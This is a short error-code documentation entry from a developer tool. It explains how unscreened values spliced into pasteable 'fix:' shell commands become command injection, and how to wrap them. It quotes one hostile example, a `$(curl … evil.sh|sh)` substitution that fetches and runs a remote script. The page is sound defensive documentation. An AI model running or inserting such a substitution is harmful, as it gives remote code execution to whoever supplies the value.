# X_FIX_SHELL_ARG_UNSCREENED

## Means

a value is spliced into the SHELL COMMAND POSITION of a `fix:` line without being screened

## Typical cause

a `fix:` is a command meant to be pasted, so a substitution after a command word is a value that RUNS: `x g route /$(curl -s http://evil.sh\|sh)` was the rendered fix for an unauthenticated `GET` against any unrouted path. `renderFixShellArg` was written to close that one site and nothing watched the other 150. `renderFixLiteral` beside it is explicitly NOT the answer — it answers `JSON.stringify`, and `$(…)`, a backtick and a substitution are all live inside double quotes in every POSIX shell

## Fix

`bun run fix-shell-arg --json` — wrap the value in `renderFixShellArg(value, '<what a reader substitutes>')` from `@ultimat3/core`; if it cannot carry shell syntax, pin the package in `scripts/lib/fix-shell-arg-pins.ts` with the sentence saying where the value comes from

[CLI and verify](/error-codes#cli-and-verify)